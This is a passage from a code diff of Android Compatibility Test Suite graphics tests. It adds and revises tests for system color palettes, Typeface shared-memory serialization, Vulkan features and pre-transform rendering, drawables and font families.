+ * limitations under the License.
+ */
+
+package android.graphics.cts;
+
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.R;
+import android.content.Context;
+import android.graphics.Color;
+import android.util.Pair;
+
+import androidx.annotation.ColorInt;
+import androidx.core.graphics.ColorUtils;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Assert;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+import java.util.List;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class SystemPalette {
+
+    // Hue goes from 0 to 360
+    private static final int MAX_HUE_DISTANCE = 30;
+
+    @Test
+    public void testShades0and1000() {
+        final Context context = getInstrumentation().getTargetContext();
+        final int[] leftmostColors = new int[]{
+                R.color.system_neutral1_0, R.color.system_neutral2_0, R.color.system_accent1_0,
+                R.color.system_accent2_0, R.color.system_accent3_0
+        };
+        final int[] rightmostColors = new int[]{
+                R.color.system_neutral1_1000, R.color.system_neutral2_1000,
+                R.color.system_accent1_1000, R.color.system_accent2_1000,
+                R.color.system_accent3_1000
+        };
+        for (int i = 0; i < leftmostColors.length; i++) {
+            assertColor(context.getColor(leftmostColors[0]), Color.WHITE);
+        }
+        for (int i = 0; i < rightmostColors.length; i++) {
+            assertColor(context.getColor(rightmostColors[0]), Color.BLACK);
+        }
+    }
+
+    @Ignore
+    @Test
+    public void testAllColorsBelongToSameFamily() {
+        final Context context = getInstrumentation().getTargetContext();
+        List<int[]> allPalettes = Arrays.asList(getAllAccent1Colors(context),
+                getAllAccent2Colors(context), getAllAccent3Colors(context),
+                getAllNeutral1Colors(context), getAllNeutral2Colors(context));
+
+        for (int[] palette : allPalettes) {
+            for (int i = 2; i < palette.length - 1; i++) {
+                assertWithMessage("Color " + Integer.toHexString((palette[i - 1]))
+                        + " has different chroma compared to " + Integer.toHexString(palette[i])
+                        + " for palette: " + Arrays.toString(palette))
+                        .that(similarHue(palette[i - 1], palette[i])).isTrue();
+            }
+        }
+    }
+
+    /**
+     * Compare if color A and B have similar hue, in HSL space.
+     *
+     * @param colorA Color 1
+     * @param colorB Color 2
+     * @return True when colors have similar chroma.
+     */
+    private boolean similarHue(@ColorInt int colorA, @ColorInt int colorB) {
+        final float[] hslColor1 = new float[3];
+        final float[] hslColor2 = new float[3];
+
+        ColorUtils.RGBToHSL(Color.red(colorA), Color.green(colorA), Color.blue(colorA), hslColor1);
+        ColorUtils.RGBToHSL(Color.red(colorB), Color.green(colorB), Color.blue(colorB), hslColor2);
+
+        float hue1 = Math.max(hslColor1[0], hslColor2[0]);
+        float hue2 = Math.min(hslColor1[0], hslColor2[0]);
+
+        return hue1 - hue2 < MAX_HUE_DISTANCE;
+    }
+
+    @Test
+    public void testColorsMatchExpectedLuminosity() {
+        final Context context = getInstrumentation().getTargetContext();
+        List<int[]> allPalettes = Arrays.asList(getAllAccent1Colors(context),
+                getAllAccent2Colors(context), getAllAccent3Colors(context),
+                getAllNeutral1Colors(context), getAllNeutral2Colors(context));
+
+        final double[] labColor = new double[3];
+        final double[] expectedL = {100, 95, 90, 80, 70, 60, 49, 40, 30, 20, 10, 0};
+
+        for (int[] palette : allPalettes) {
+            for (int i = 0; i < palette.length; i++) {
+                ColorUtils.colorToLAB(palette[i], labColor);
+
+                // Colors in the same palette should vary mostly in L, decreasing lightness as we
+                // move across the palette.
+                assertWithMessage("Color " + Integer.toHexString((palette[i]))
+                        + " at index " + i + " should have L " + expectedL[i] + " in LAB space.")
+                        .that(labColor[0]).isWithin(3).of(expectedL[i]);
+            }
+        }
+    }
+
+    @Test
+    public void testContrastRatio() {
+        final Context context = getInstrumentation().getTargetContext();
+
+        final List<Pair<Integer, Integer>> atLeast4dot5 = Arrays.asList(new Pair<>(0, 500),
+                new Pair<>(50, 600), new Pair<>(100, 600), new Pair<>(200, 700),
+                new Pair<>(300, 800), new Pair<>(400, 900), new Pair<>(500, 1000));
+        final List<Pair<Integer, Integer>> atLeast3dot0 = Arrays.asList(new Pair<>(0, 400),
+                new Pair<>(50, 500), new Pair<>(100, 500), new Pair<>(200, 600),
+                new Pair<>(300, 700), new Pair<>(400, 800), new Pair<>(500, 900),
+                new Pair<>(600, 1000));
+
+        List<int[]> allPalettes = Arrays.asList(getAllAccent1Colors(context),
+                getAllAccent2Colors(context), getAllAccent3Colors(context),
+                getAllNeutral1Colors(context), getAllNeutral2Colors(context));
+
+        for (int[] palette : allPalettes) {
+            for (Pair<Integer, Integer> shades : atLeast4dot5) {
+                final int background = palette[shadeToArrayIndex(shades.first)];
+                final int foreground = palette[shadeToArrayIndex(shades.second)];
+                final double contrast = ColorUtils.calculateContrast(foreground, background);
+                assertWithMessage("Shade " + shades.first + " (#" + Integer.toHexString(background)
+                        + ") should have at least 4.5 contrast ratio against " + shades.second
+                        + " (#" + Integer.toHexString(foreground) + ")").that(contrast)
+                        .isGreaterThan(4.5);
+            }
+
+            for (Pair<Integer, Integer> shades : atLeast3dot0) {
+                final int background = palette[shadeToArrayIndex(shades.first)];
+                final int foreground = palette[shadeToArrayIndex(shades.second)];
+                final double contrast = ColorUtils.calculateContrast(foreground, background);
+                assertWithMessage("Shade " + shades.first + " (#" + Integer.toHexString(background)
+                        + ") should have at least 3.0 contrast ratio against " + shades.second
+                        + " (#" + Integer.toHexString(foreground) + ")").that(contrast)
+                        .isGreaterThan(3);
+            }
+        }
+    }
+
+    /**
+     * Convert the Material shade to an array position.
+     *
+     * @param shade Shade from 0 to 1000.
+     * @return index in array
+     * @see #getAllAccent1Colors(Context) (Context)
+     * @see #getAllNeutral1Colors(Context)
+     */
+    private int shadeToArrayIndex(int shade) {
+        if (shade == 0) {
+            return 0;
+        } else if (shade == 50) {
+            return 1;
+        } else {
+            return shade / 100 + 1;
+        }
+    }
+
+    private void assertColor(@ColorInt int observed, @ColorInt int expected) {
+        Assert.assertEquals("Color = " + Integer.toHexString(observed) + ", "
+                        + Integer.toHexString(expected) + " expected", expected, observed);
+    }
+
+    private int[] getAllAccent1Colors(Context context) {
+        final int[] colors = new int[12];
+        colors[0] = context.getColor(R.color.system_accent1_0);
+        colors[1] = context.getColor(R.color.system_accent1_50);
+        colors[2] = context.getColor(R.color.system_accent1_100);
+        colors[3] = context.getColor(R.color.system_accent1_200);
+        colors[4] = context.getColor(R.color.system_accent1_300);
+        colors[5] = context.getColor(R.color.system_accent1_400);
+        colors[6] = context.getColor(R.color.system_accent1_500);
+        colors[7] = context.getColor(R.color.system_accent1_600);
+        colors[8] = context.getColor(R.color.system_accent1_700);
+        colors[9] = context.getColor(R.color.system_accent1_800);
+        colors[10] = context.getColor(R.color.system_accent1_900);
+        colors[11] = context.getColor(R.color.system_accent1_1000);
+        return colors;
+    }
+
+    private int[] getAllAccent2Colors(Context context) {
+        final int[] colors = new int[12];
+        colors[0] = context.getColor(R.color.system_accent2_0);
+        colors[1] = context.getColor(R.color.system_accent2_50);
+        colors[2] = context.getColor(R.color.system_accent2_100);
+        colors[3] = context.getColor(R.color.system_accent2_200);
+        colors[4] = context.getColor(R.color.system_accent2_300);
+        colors[5] = context.getColor(R.color.system_accent2_400);
+        colors[6] = context.getColor(R.color.system_accent2_500);
+        colors[7] = context.getColor(R.color.system_accent2_600);
+        colors[8] = context.getColor(R.color.system_accent2_700);
+        colors[9] = context.getColor(R.color.system_accent2_800);
+        colors[10] = context.getColor(R.color.system_accent2_900);
+        colors[11] = context.getColor(R.color.system_accent2_1000);
+        return colors;
+    }
+
+    private int[] getAllAccent3Colors(Context context) {
+        final int[] colors = new int[12];
+        colors[0] = context.getColor(R.color.system_accent3_0);
+        colors[1] = context.getColor(R.color.system_accent3_50);
+        colors[2] = context.getColor(R.color.system_accent3_100);
+        colors[3] = context.getColor(R.color.system_accent3_200);
+        colors[4] = context.getColor(R.color.system_accent3_300);
+        colors[5] = context.getColor(R.color.system_accent3_400);
+        colors[6] = context.getColor(R.color.system_accent3_500);
+        colors[7] = context.getColor(R.color.system_accent3_600);
+        colors[8] = context.getColor(R.color.system_accent3_700);
+        colors[9] = context.getColor(R.color.system_accent3_800);
+        colors[10] = context.getColor(R.color.system_accent3_900);
+        colors[11] = context.getColor(R.color.system_accent3_1000);
+        return colors;
+    }
+
+    private int[] getAllNeutral1Colors(Context context) {
+        final int[] colors = new int[12];
+        colors[0] = context.getColor(R.color.system_neutral1_0);
+        colors[1] = context.getColor(R.color.system_neutral1_50);
+        colors[2] = context.getColor(R.color.system_neutral1_100);
+        colors[3] = context.getColor(R.color.system_neutral1_200);
+        colors[4] = context.getColor(R.color.system_neutral1_300);
+        colors[5] = context.getColor(R.color.system_neutral1_400);
+        colors[6] = context.getColor(R.color.system_neutral1_500);
+        colors[7] = context.getColor(R.color.system_neutral1_600);
+        colors[8] = context.getColor(R.color.system_neutral1_700);
+        colors[9] = context.getColor(R.color.system_neutral1_800);
+        colors[10] = context.getColor(R.color.system_neutral1_900);
+        colors[11] = context.getColor(R.color.system_neutral1_1000);
+        return colors;
+    }
+
+    private int[] getAllNeutral2Colors(Context context) {
+        final int[] colors = new int[12];
+        colors[0] = context.getColor(R.color.system_neutral2_0);
+        colors[1] = context.getColor(R.color.system_neutral2_50);
+        colors[2] = context.getColor(R.color.system_neutral2_100);
+        colors[3] = context.getColor(R.color.system_neutral2_200);
+        colors[4] = context.getColor(R.color.system_neutral2_300);
+        colors[5] = context.getColor(R.color.system_neutral2_400);
+        colors[6] = context.getColor(R.color.system_neutral2_500);
+        colors[7] = context.getColor(R.color.system_neutral2_600);
+        colors[8] = context.getColor(R.color.system_neutral2_700);
+        colors[9] = context.getColor(R.color.system_neutral2_800);
+        colors[10] = context.getColor(R.color.system_neutral2_900);
+        colors[11] = context.getColor(R.color.system_neutral2_1000);
+        return colors;
+    }
+}
diff --git a/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java b/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
index 48e85b8..74508e8 100644
--- a/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
@@ -31,6 +31,9 @@
 import android.graphics.Paint;
 import android.graphics.Typeface;
 import android.graphics.Typeface.Builder;
+import android.os.SharedMemory;
+import android.system.ErrnoException;
+import android.util.ArrayMap;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.filters.SmallTest;
@@ -45,7 +48,9 @@
 import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.InputStream;
+import java.util.HashMap;
 import java.util.Locale;
+import java.util.Map;
 
 @SmallTest
 @RunWith(AndroidJUnit4.class)
@@ -804,4 +809,65 @@
         assertEquals(100, typeface.getWeight());
         assertFalse(typeface.isItalic());
     }
+
+    @Test
+    public void testSharedMemoryReadonly() {
+        SharedMemory shm = Typeface.getSystemFontMapSharedMemory();
+        if (shm == null) {
+            return;  // Likely ENABLE_LAZY_TYPEFACE_INITIALIZATION is disabled.
+        }
+        try {
+            shm.mapReadWrite();
+            fail("The Typeface map should be read-only.");
+        } catch (ErrnoException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testSharedMemoryReadonly_fromMap() {
+        HashMap<String, Typeface> map = new HashMap<>();
+
+        map.put("sans-serif", Typeface.SANS_SERIF);
+        map.put("serif", Typeface.SERIF);
+        map.put("monospace", Typeface.MONOSPACE);
+        SharedMemory shm;
+        try {
+            shm = Typeface.serializeFontMap(map);
+        } catch (ErrnoException | IOException e) {
+            throw new RuntimeException(e);
+        }
+        assertNotNull(shm);
+        try {
+            shm.mapReadWrite();
+            fail("The Typeface map should be read-only.");
+        } catch (ErrnoException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testSharedMemoryReadonly_serializeDeserialize() throws Exception {
+        HashMap<String, Typeface> map = new HashMap<>();
+
+        map.put("sans-serif", Typeface.SANS_SERIF);
+        map.put("serif", Typeface.SERIF);
+        map.put("monospace", Typeface.MONOSPACE);
+        SharedMemory shm;
+        try {
+            shm = Typeface.serializeFontMap(map);
+        } catch (ErrnoException | IOException e) {
+            throw new RuntimeException(e);
+        }
+        assertNotNull(shm);
+
+        Map<String, Typeface> reversedMap = new ArrayMap<>();
+        Typeface.deserializeFontMap(shm.mapReadOnly(), reversedMap);
+
+        // Typeface equality doesn't work here since the backing native object is different.
+        assertEquals(3, reversedMap.size());
+        assertTrue(reversedMap.containsKey("sans-serif"));
+        assertTrue(reversedMap.containsKey("serif"));
+        assertTrue(reversedMap.containsKey("monospace"));
+    }
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java b/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java
index a11406c..eace470 100644
--- a/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java
@@ -17,6 +17,7 @@
 package android.graphics.cts;
 
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
 
 import android.content.pm.FeatureInfo;
 import android.content.pm.PackageManager;
@@ -27,6 +28,7 @@
 import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.CddTest;
+import com.android.compatibility.common.util.PropertyUtil;
 
 import org.junit.Before;
 import org.junit.Test;
@@ -53,7 +55,7 @@
     private FeatureInfo mVulkanHardwareVersion = null;
 
     @Before
-    public void setup() throws Throwable {
+    public void setup() {
         mPm = InstrumentationRegistry.getTargetContext().getPackageManager();
         FeatureInfo[] features = mPm.getSystemAvailableFeatures();
         if (features != null) {
@@ -71,17 +73,20 @@
     @CddTest(requirement = "7.1.4.2/C-1-8,C-1-9")
     @Test
     public void testVulkanDeqpLevel() {
-        if (mVulkanHardwareVersion != null
-                && mVulkanHardwareVersion.version >= VULKAN_1_0) {
-            if (DEBUG) {
-                Log.d(TAG, "Checking whether " + PackageManager.FEATURE_VULKAN_DEQP_LEVEL
-                        + " has an acceptable value");
-            }
-            assertTrue("Feature " + PackageManager.FEATURE_VULKAN_DEQP_LEVEL + " must be present "
-                            + "and have at least version " + MINIMUM_VULKAN_DEQP_LEVEL,
-                    mPm.hasSystemFeature(PackageManager.FEATURE_VULKAN_DEQP_LEVEL,
-                            MINIMUM_VULKAN_DEQP_LEVEL));
+        assumeTrue(
+                "Test only applies for vendor image with API level >= 30 (Android 11)",
+                PropertyUtil.isVendorApiLevelNewerThan(29));
+        assumeTrue(
+                "Test does not apply if Vulkan 1.0 or higher is not supported",
+                mVulkanHardwareVersion != null && mVulkanHardwareVersion.version >= VULKAN_1_0);
+        if (DEBUG) {
+            Log.d(TAG, "Checking whether " + PackageManager.FEATURE_VULKAN_DEQP_LEVEL
+                    + " has an acceptable value");
         }
+        assertTrue("Feature " + PackageManager.FEATURE_VULKAN_DEQP_LEVEL + " must be present "
+                + "and have at least version " + MINIMUM_VULKAN_DEQP_LEVEL,
+                mPm.hasSystemFeature(PackageManager.FEATURE_VULKAN_DEQP_LEVEL,
+                        MINIMUM_VULKAN_DEQP_LEVEL));
     }
 
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java b/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java
index 88e94e4..8b26b5b 100644
--- a/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java
@@ -61,6 +61,7 @@
     private static final int VULKAN_1_0 = 0x00400003; // 1.0.3
     private static final int VULKAN_1_1 = 0x00401000; // 1.1.0
 
+    private static final String VK_KHR_PERFORMANCE_QUERY = "VK_KHR_performance_query";
     private static final String VK_ANDROID_EXTERNAL_MEMORY_ANDROID_HARDWARE_BUFFER_EXTENSION_NAME =
             "VK_ANDROID_external_memory_android_hardware_buffer";
     private static final int VK_ANDROID_EXTERNAL_MEMORY_ANDROID_HARDWARE_BUFFER_SPEC_VERSION = 2;
@@ -223,6 +224,16 @@
             mVulkanHardwareLevel != null && mVulkanHardwareLevel.version >= 0);
     }
 
+    @Test
+    public void testVulkanBlockedExtensions() throws JSONException {
+        for (JSONObject device : mVulkanDevices) {
+            assertTrue("Device - " + device.getJSONObject("properties").getString("deviceName")
+                            + " supports extension " + VK_KHR_PERFORMANCE_QUERY
+                            + ". It is blocked and hence should not be supported",
+                    !hasExtension(device, VK_KHR_PERFORMANCE_QUERY, 0));
+        }
+    }
+
     private JSONObject getBestDevice() throws JSONException {
         JSONObject bestDevice = null;
         int bestDeviceLevel = -1;
diff --git a/tests/tests/graphics/src/android/graphics/cts/VulkanPreTransformCtsActivity.java b/tests/tests/graphics/src/android/graphics/cts/VulkanPreTransformCtsActivity.java
index b00a072..227e6d7 100644
--- a/tests/tests/graphics/src/android/graphics/cts/VulkanPreTransformCtsActivity.java
+++ b/tests/tests/graphics/src/android/graphics/cts/VulkanPreTransformCtsActivity.java
@@ -24,13 +24,14 @@
 import android.os.Bundle;
 import android.util.Log;
 import android.view.Surface;
+import android.view.SurfaceHolder;
 import android.view.SurfaceView;
 import android.view.WindowManager;
 
 /**
  * Activity for VulkanPreTransformTest.
  */
-public class VulkanPreTransformCtsActivity extends Activity {
+public class VulkanPreTransformCtsActivity extends Activity implements SurfaceHolder.Callback {
     static {
         System.loadLibrary("ctsgraphics_jni");
     }
@@ -48,7 +49,7 @@
         setActivityOrientation();
         setContentView(R.layout.vulkan_pretransform_layout);
         SurfaceView surfaceView = (SurfaceView) findViewById(R.id.surfaceview);
-        mSurface = surfaceView.getHolder().getSurface();
+        surfaceView.getHolder().addCallback(this);
     }
 
     private void setActivityOrientation() {
@@ -76,10 +77,36 @@
     }
 
     public void testVulkanPreTransform(boolean setPreTransform) {
+        synchronized (this) {
+            if (mSurface == null) {
+                try {
+                    // Wait for surfaceCreated callback on UI thread.
+                    this.wait();
+                } catch (Exception e) {
+                }
+            }
+        }
         nCreateNativeTest(getAssets(), mSurface, setPreTransform);
         sOrientationRequested = false;
     }
 
     private static native void nCreateNativeTest(
             AssetManager manager, Surface surface, boolean setPreTransform);
+
+    @Override
+    public void surfaceCreated(SurfaceHolder holder) {
+        synchronized (this) {
+            mSurface = holder.getSurface();
+            this.notify();
+        }
+    }
+
+    @Override
+    public void surfaceChanged(SurfaceHolder holder, int format,
+      int width, int height) {
+    }
+
+    @Override
+    public void surfaceDestroyed(SurfaceHolder holder) {
+    }
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/VulkanPreTransformTest.java b/tests/tests/graphics/src/android/graphics/cts/VulkanPreTransformTest.java
index f14e60c..79c8342 100644
--- a/tests/tests/graphics/src/android/graphics/cts/VulkanPreTransformTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/VulkanPreTransformTest.java
@@ -105,9 +105,6 @@
     @Before
     public void setUp() {
         Log.d(TAG, "setUp!");
-        // Work around for b/77148807
-        // Activity was falsely created before ActivityManager set config change to landscape
-        SystemClock.sleep(2000);
         mContext = InstrumentationRegistry.getContext();
     }
 
@@ -120,7 +117,6 @@
             return;
         }
         sActivity = mActivityRule.launchActivity(null);
-        SystemClock.sleep(5000);
         sActivity.testVulkanPreTransform(true);
         sActivity.finish();
         sActivity = null;
@@ -135,7 +131,6 @@
             return;
         }
         sActivity = mActivityRule.launchActivity(null);
-        SystemClock.sleep(5000);
         sActivity.testVulkanPreTransform(false);
         sActivity.finish();
         sActivity = null;
@@ -145,15 +140,11 @@
         return mContext.getPackageManager().hasSystemFeature(requiredFeature);
     }
 
-    private static Bitmap takeScreenshot() {
+    private static Bitmap takeScreenshot(int width, int height) {
         assertNotNull("sActivity should not be null", sActivity);
-        Rect srcRect = new Rect();
-        sActivity.findViewById(R.id.surfaceview).getGlobalVisibleRect(srcRect);
         SynchronousPixelCopy copy = new SynchronousPixelCopy();
-        Bitmap dest =
-                Bitmap.createBitmap(srcRect.width(), srcRect.height(), Bitmap.Config.ARGB_8888);
-        int copyResult =
-                copy.request((SurfaceView) sActivity.findViewById(R.id.surfaceview), srcRect, dest);
+        Bitmap dest = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
+        int copyResult = copy.request((SurfaceView) sActivity.findViewById(R.id.surfaceview), dest);
         assertEquals("PixelCopy failed", PixelCopy.SUCCESS, copyResult);
         return dest;
     }
@@ -170,11 +161,9 @@
     }
 
     private static boolean validatePixelValuesAfterRotation(
-            boolean setPreTransform, int preTransformHint) {
-        Bitmap bitmap = takeScreenshot();
+            int width, int height, boolean setPreTransform, int preTransformHint) {
+        Bitmap bitmap = takeScreenshot(width, height);
 
-        int width = bitmap.getWidth();
-        int height = bitmap.getHeight();
         int diff = 0;
         if (!setPreTransform || preTransformHint == 0x1 /*VK_SURFACE_TRANSFORM_IDENTITY_BIT_KHR*/) {
             diff += pixelDiff(bitmap.getPixel(0, 0), 255, 0, 0);
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java
index 453f1ad..da2eb16 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java
@@ -121,9 +121,8 @@
     }
 
     private AnimatedImageDrawable createFromImageDecoder(int resId) {
-        Uri uri = null;
+        Uri uri = Utils.getAsResourceUri(resId);
         try {
-            uri = Utils.getAsResourceUri(resId);
             ImageDecoder.Source source = ImageDecoder.createSource(getContentResolver(), uri);
             Drawable drawable = ImageDecoder.decodeDrawable(source);
             assertTrue(drawable instanceof AnimatedImageDrawable);
@@ -134,6 +133,19 @@
         }
     }
 
+    private Bitmap decodeBitmap(int resId) {
+        Uri uri = Utils.getAsResourceUri(resId);
+        try {
+            ImageDecoder.Source source = ImageDecoder.createSource(getContentResolver(), uri);
+            return ImageDecoder.decodeBitmap(source, (decoder, info, src) -> {
+                decoder.setAllocator(ImageDecoder.ALLOCATOR_SOFTWARE);
+            });
+        } catch (IOException e) {
+            fail("Failed to create Bitmap from " + uri);
+            return null;
+        }
+    }
+
     @Test
     public void testDecodeAnimatedImageDrawable() {
         Drawable drawable = createFromImageDecoder(RES_ID);
@@ -426,7 +438,7 @@
         assertTrue(drawable.isRunning());
     }
 
-    private static Object[] parametersForTestEncodedRepeats() {
+    public static Object[] parametersForTestEncodedRepeats() {
         return new Object[] {
             new Object[] { R.drawable.animated, AnimatedImageDrawable.REPEAT_INFINITE },
             new Object[] { R.drawable.animated_one_loop, 1 },
@@ -480,6 +492,35 @@
     }
 
     @Test
+    public void testExif() {
+        // This animation has an exif orientation that makes it match R.drawable.animated (RES_ID).
+        AnimatedImageDrawable exifAnimation = createFromImageDecoder(R.drawable.animated_webp);
+
+        Bitmap expected = decodeBitmap(RES_ID);
+        final int width = expected.getWidth();
+        final int height = expected.getHeight();
+
+        assertEquals(width, exifAnimation.getIntrinsicWidth());
+        assertEquals(height, exifAnimation.getIntrinsicHeight());
+
+        Bitmap actual = Bitmap.createBitmap(width, height, expected.getConfig(),
+                expected.hasAlpha(), expected.getColorSpace());
+        {
+            Canvas canvas = new Canvas(actual);
+            exifAnimation.setBounds(0, 0, width, height);
+            exifAnimation.draw(canvas);
+        }
+
+        // mseMargin was chosen by looking at the logs. The images are not exactly
+        // the same due to the fact that animated_webp's frames are encoded lossily,
+        // but the two images are perceptually identical.
+        final int mseMargin = 143;
+        final boolean lessThanMargin = true;
+        BitmapUtils.assertBitmapsMse(expected, actual, mseMargin, lessThanMargin,
+                expected.isPremultiplied());
+    }
+
+    @Test
     public void testPostProcess() {
         // Compare post processing a Rect in the middle of the (not-animating)
         // image with drawing manually. They should be exactly the same.
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedVectorDrawableParameterizedTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedVectorDrawableParameterizedTest.java
index ec44400..c0ef374 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedVectorDrawableParameterizedTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedVectorDrawableParameterizedTest.java
@@ -265,9 +265,6 @@
 
         for (int x = rangeRect.left; x < rangeRect.right; x++) {
             for (int y = rangeRect.top; y < rangeRect.bottom; y++) {
-                if (image1.getPixel(x, y) != image2.getPixel(x, y)) {
-                    return false;
-                }
                 int color1 = image1.getPixel(x, y);
                 int color2 = image2.getPixel(x, y);
                 int rDiff = Math.abs(Color.red(color1) - Color.red(color2));
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/BitmapDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/BitmapDrawableTest.java
index 60f7b0a..a371932 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/BitmapDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/BitmapDrawableTest.java
@@ -559,4 +559,19 @@
             resources.getDrawable(R.drawable.testimage).setAlpha(restoreAlpha);
         }
     }
+
+    @Test
+    public void testSetBitmap() {
+        Resources resources = mContext.getResources();
+        Bitmap source = BitmapFactory.decodeResource(resources, R.raw.testimage);
+        BitmapDrawable bitmapDrawable = new BitmapDrawable(resources, source);
+        assertSame(source, bitmapDrawable.getBitmap());
+
+        Bitmap bm = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
+        bitmapDrawable.setBitmap(bm);
+        assertSame(bm, bitmapDrawable.getBitmap());
+
+        bitmapDrawable.setBitmap(null);
+        assertNull(bitmapDrawable.getBitmap());
+    }
 }
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/GradientDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/GradientDrawableTest.java
index b4a4320..d2fbcf8 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/GradientDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/GradientDrawableTest.java
@@ -20,6 +20,7 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
@@ -146,6 +147,7 @@
 
         // input null as param
         gradientDrawable.setCornerRadii(null);
+        assertNull("Gradient radii is not null", gradientDrawable.getCornerRadii());
     }
 
     @Test
diff --git a/tests/tests/graphics/src/android/graphics/fonts/FontFamilyTest.java b/tests/tests/graphics/src/android/graphics/fonts/FontFamilyTest.java
index 27c4e22..25b736d 100644
--- a/tests/tests/graphics/src/android/graphics/fonts/FontFamilyTest.java
+++ b/tests/tests/graphics/src/android/graphics/fonts/FontFamilyTest.java
@@ -19,7 +19,6 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNotSame;
-import static org.junit.Assert.assertSame;
 import static org.junit.Assert.assertTrue;
 
 import android.content.res.AssetManager;
@@ -46,7 +45,7 @@
         FontFamily family = new FontFamily.Builder(font).build();
         assertNotNull(family);
         assertEquals(1, family.getSize());
-        assertSame(font, family.getFont(0));
+        assertEquals(font, family.getFont(0));
     }
 
     @Test
@@ -60,8 +59,8 @@
         assertNotNull(family);
         assertEquals(2, family.getSize());
         assertNotSame(family.getFont(0), family.getFont(1));
-        assertTrue(family.getFont(0) == regularFont || family.getFont(0) == boldFont);
-        assertTrue(family.getFont(1) == regularFont || family.getFont(1) == boldFont);
+        assertTrue(family.getFont(0).equals(regularFont) || family.getFont(0).equals(boldFont));
+        assertTrue(family.getFont(1).equals(regularFont) || family.getFont(1).equals(boldFont));
     }
 
     @Test
@@ -75,8 +74,8 @@
         assertNotNull(family);
         assertEquals(2, family.getSize());
         assertNotSame(family.getFont(0), family.getFont(1));
-        assertTrue(family.getFont(0) == regularFont || family.getFont(0) == boldFont);
-        assertTrue(family.getFont(1) == regularFont || family.getFont(1) == boldFont);
+        assertTrue(family.getFont(0).equals(regularFont) || family.getFont(0).equals(boldFont));
+        assertTrue(family.getFont(1).equals(regularFont) || family.getFont(1).equals(boldFont));
     }
 
     @Test
@@ -90,8 +89,8 @@
         assertNotNull(family);
         assertEquals(2, family.getSize());
         assertNotSame(family.getFont(0), family.getFont(1));
-        assertTrue(family.getFont(0) == regularFont || family.getFont(0) == italicFont);
-        assertTrue(family.getFont(1) == regularFont || family.getFont(1) == italicFont);
+        assertTrue(family.getFont(0).equals(regularFont) || family.getFont(0).equals(italicFont));
+        assertTrue(family.getFont(1).equals(regularFont) || family.getFont(1).equals(italicFont));
     }
 
     @Test(expected = IllegalArgumentException.class)
diff --git a/tests/tests/graphics/src/android/graphics/fonts/FontFamilyUpdateRequestTest.java b/tests/tests/graphics/src/android/graphics/fonts/FontFamilyUpdateRequestTest.java
new file mode 100644
index 0000000..094a950
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/fonts/FontFamilyUpdateRequestTest.java
@@ -0,0 +1,134 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.fonts;
+
+import static android.graphics.fonts.FontStyle.FONT_SLANT_ITALIC;
+import static android.graphics.fonts.FontStyle.FONT_SLANT_UPRIGHT;
+import static android.graphics.fonts.FontStyle.FONT_WEIGHT_NORMAL;
+
